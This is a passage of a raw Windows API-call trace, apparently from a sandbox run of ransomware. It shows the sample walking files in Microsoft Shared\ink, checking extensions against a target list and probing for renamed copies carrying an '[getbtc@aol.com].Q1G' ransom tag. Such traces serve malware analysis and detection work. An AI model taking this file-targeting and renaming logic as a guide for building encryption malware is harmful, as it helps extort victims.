Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.347] lstrlenW (lpString=".doc") returned 4 [0237.347] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.347] lstrlenW (lpString=".docx") returned 5 [0237.347] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.347] lstrlenW (lpString=".pdf") returned 4 [0237.347] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.347] lstrlenW (lpString=".xls") returned 4 [0237.347] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.347] lstrlenW (lpString=".xlsx") returned 5 [0237.347] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.347] lstrlenW (lpString=".ppt") returned 4 [0237.347] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.347] lstrlenW (lpString=".zip") returned 4 [0237.347] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.347] lstrlenW (lpString=".rar") returned 4 [0237.347] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.347] lstrlenW (lpString=".bz2") returned 4 [0237.347] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.347] lstrlenW (lpString=".7z") returned 3 [0237.347] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.348] lstrlenW (lpString=".dbf") returned 4 [0237.348] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.348] lstrlenW (lpString=".1cd") returned 4 [0237.348] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.348] lstrlenW (lpString=".jpg") returned 4 [0237.348] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.348] lstrlenW (lpString=".doc") returned 4 [0237.348] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.348] lstrlenW (lpString=".docx") returned 5 [0237.348] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.348] lstrlenW (lpString=".pdf") returned 4 [0237.348] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.350] lstrlenW (lpString=".xls") returned 4 [0237.350] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.350] lstrlenW (lpString=".xlsx") returned 5 [0237.350] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.350] lstrlenW (lpString=".ppt") returned 4 [0237.350] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.350] lstrlenW (lpString=".zip") returned 4 [0237.350] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.350] lstrlenW (lpString=".rar") returned 4 [0237.350] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.350] lstrlenW (lpString=".bz2") returned 4 [0237.350] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.350] lstrlenW (lpString=".7z") returned 3 [0237.350] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.350] lstrlenW (lpString=".dbf") returned 4 [0237.350] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.350] lstrlenW (lpString=".1cd") returned 4 [0237.350] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0237.350] lstrlenW (lpString=".jpg") returned 4 [0237.350] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.350] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0237.350] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0237.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.479] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=3584) returned 1 [0237.479] CloseHandle (hObject=0x210) returned 1 [0237.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0237.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.479] lstrlenW (lpString=".doc") returned 4 [0237.479] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.479] lstrlenW (lpString=".docx") returned 5 [0237.479] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.479] lstrlenW (lpString=".pdf") returned 4 [0237.479] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.479] lstrlenW (lpString=".xls") returned 4 [0237.479] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.479] lstrlenW (lpString=".xlsx") returned 5 [0237.479] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.479] lstrlenW (lpString=".ppt") returned 4 [0237.479] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.480] lstrlenW (lpString=".zip") returned 4 [0237.480] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.480] lstrlenW (lpString=".rar") returned 4 [0237.480] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.480] lstrlenW (lpString=".bz2") returned 4 [0237.480] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.480] lstrlenW (lpString=".7z") returned 3 [0237.480] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.480] lstrlenW (lpString=".dbf") returned 4 [0237.480] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.480] lstrlenW (lpString=".1cd") returned 4 [0237.480] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.480] lstrlenW (lpString=".jpg") returned 4 [0237.480] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.480] lstrlenW (lpString=".doc") returned 4 [0237.480] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.480] lstrlenW (lpString=".docx") returned 5 [0237.480] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.480] lstrlenW (lpString=".pdf") returned 4 [0237.480] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.480] lstrlenW (lpString=".xls") returned 4 [0237.480] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.480] lstrlenW (lpString=".xlsx") returned 5 [0237.480] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.480] lstrlenW (lpString=".ppt") returned 4 [0237.480] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.480] lstrlenW (lpString=".zip") returned 4 [0237.480] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.480] lstrlenW (lpString=".rar") returned 4 [0237.480] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.481] lstrlenW (lpString=".bz2") returned 4 [0237.481] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.481] lstrlenW (lpString=".7z") returned 3 [0237.481] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.481] lstrlenW (lpString=".dbf") returned 4 [0237.481] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.481] lstrlenW (lpString=".1cd") returned 4 [0237.481] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0237.481] lstrlenW (lpString=".jpg") returned 4 [0237.481] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.481] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0237.481] lstrlenW (lpString="TipRes.dll") returned 10 [0237.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0237.592] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=544768) returned 1 [0237.592] CloseHandle (hObject=0x338) returned 1 [0237.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0237.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.592] lstrlenW (lpString=".doc") returned 4 [0237.592] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.592] lstrlenW (lpString=".docx") returned 5 [0237.592] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0237.592] lstrlenW (lpString=".pdf") returned 4 [0237.592] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.592] lstrlenW (lpString=".xls") returned 4 [0237.592] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.592] lstrlenW (lpString=".xlsx") returned 5 [0237.593] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0237.593] lstrlenW (lpString=".ppt") returned 4 [0237.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.593] lstrlenW (lpString=".zip") returned 4 [0237.593] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString=".rar") returned 4 [0237.593] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString=".bz2") returned 4 [0237.593] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.593] lstrlenW (lpString=".7z") returned 3 [0237.593] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.593] lstrlenW (lpString=".dbf") returned 4 [0237.593] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.593] lstrlenW (lpString=".1cd") returned 4 [0237.593] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.593] lstrlenW (lpString=".jpg") returned 4 [0237.593] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.593] lstrlenW (lpString=".doc") returned 4 [0237.593] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString=".docx") returned 5 [0237.593] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0237.593] lstrlenW (lpString=".pdf") returned 4 [0237.593] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString=".xls") returned 4 [0237.593] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString=".xlsx") returned 5 [0237.593] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0237.593] lstrlenW (lpString=".ppt") returned 4 [0237.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.593] lstrlenW (lpString=".zip") returned 4 [0237.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.594] lstrlenW (lpString=".rar") returned 4 [0237.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.594] lstrlenW (lpString=".bz2") returned 4 [0237.594] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.594] lstrlenW (lpString=".7z") returned 3 [0237.594] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.594] lstrlenW (lpString=".dbf") returned 4 [0237.594] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.594] lstrlenW (lpString=".1cd") returned 4 [0237.594] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0237.594] lstrlenW (lpString=".jpg") returned 4 [0237.594] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.594] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0237.594] lstrlenW (lpString="tipskins.dll") returned 12 [0237.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0237.594] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1246720) returned 1 [0237.594] CloseHandle (hObject=0x338) returned 1 [0237.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0237.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.595] lstrlenW (lpString=".doc") returned 4 [0237.595] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.595] lstrlenW (lpString=".docx") returned 5 [0237.595] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0237.595] lstrlenW (lpString=".pdf") returned 4 [0237.595] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.595] lstrlenW (lpString=".xls") returned 4 [0237.595] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.595] lstrlenW (lpString=".xlsx") returned 5 [0237.595] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0237.595] lstrlenW (lpString=".ppt") returned 4 [0237.595] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.595] lstrlenW (lpString=".zip") returned 4 [0237.595] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.595] lstrlenW (lpString=".rar") returned 4 [0237.595] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.595] lstrlenW (lpString=".bz2") returned 4 [0237.595] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.595] lstrlenW (lpString=".7z") returned 3 [0237.595] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.595] lstrlenW (lpString=".dbf") returned 4 [0237.595] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.595] lstrlenW (lpString=".1cd") returned 4 [0237.595] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.596] lstrlenW (lpString=".jpg") returned 4 [0237.596] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.596] lstrlenW (lpString=".doc") returned 4 [0237.596] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.596] lstrlenW (lpString=".docx") returned 5 [0237.596] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0237.596] lstrlenW (lpString=".pdf") returned 4 [0237.596] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.596] lstrlenW (lpString=".xls") returned 4 [0237.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.596] lstrlenW (lpString=".xlsx") returned 5 [0237.596] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0237.596] lstrlenW (lpString=".ppt") returned 4 [0237.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.596] lstrlenW (lpString=".zip") returned 4 [0237.596] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.596] lstrlenW (lpString=".rar") returned 4 [0237.596] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.596] lstrlenW (lpString=".bz2") returned 4 [0237.596] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.596] lstrlenW (lpString=".7z") returned 3 [0237.596] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.596] lstrlenW (lpString=".dbf") returned 4 [0237.596] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.596] lstrlenW (lpString=".1cd") returned 4 [0237.596] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0237.596] lstrlenW (lpString=".jpg") returned 4 [0237.596] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.597] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0237.597] lstrlenW (lpString="tiptsf.dll") returned 10 [0237.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0237.597] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=503296) returned 1 [0237.597] CloseHandle (hObject=0x338) returned 1 [0237.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0237.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.597] lstrlenW (lpString=".doc") returned 4 [0237.597] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.597] lstrlenW (lpString=".docx") returned 5 [0237.597] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0237.597] lstrlenW (lpString=".pdf") returned 4 [0237.597] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.597] lstrlenW (lpString=".xls") returned 4 [0237.597] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.597] lstrlenW (lpString=".xlsx") returned 5 [0237.597] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0237.597] lstrlenW (lpString=".ppt") returned 4 [0237.597] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.597] lstrlenW (lpString=".zip") returned 4 [0237.598] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString=".rar") returned 4 [0237.598] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString=".bz2") returned 4 [0237.598] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.598] lstrlenW (lpString=".7z") returned 3 [0237.598] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.598] lstrlenW (lpString=".dbf") returned 4 [0237.598] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.598] lstrlenW (lpString=".1cd") returned 4 [0237.598] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.598] lstrlenW (lpString=".jpg") returned 4 [0237.598] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.598] lstrlenW (lpString=".doc") returned 4 [0237.598] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString=".docx") returned 5 [0237.598] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0237.598] lstrlenW (lpString=".pdf") returned 4 [0237.598] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString=".xls") returned 4 [0237.598] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString=".xlsx") returned 5 [0237.598] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0237.598] lstrlenW (lpString=".ppt") returned 4 [0237.598] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0237.598] lstrlenW (lpString=".zip") returned 4 [0237.598] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 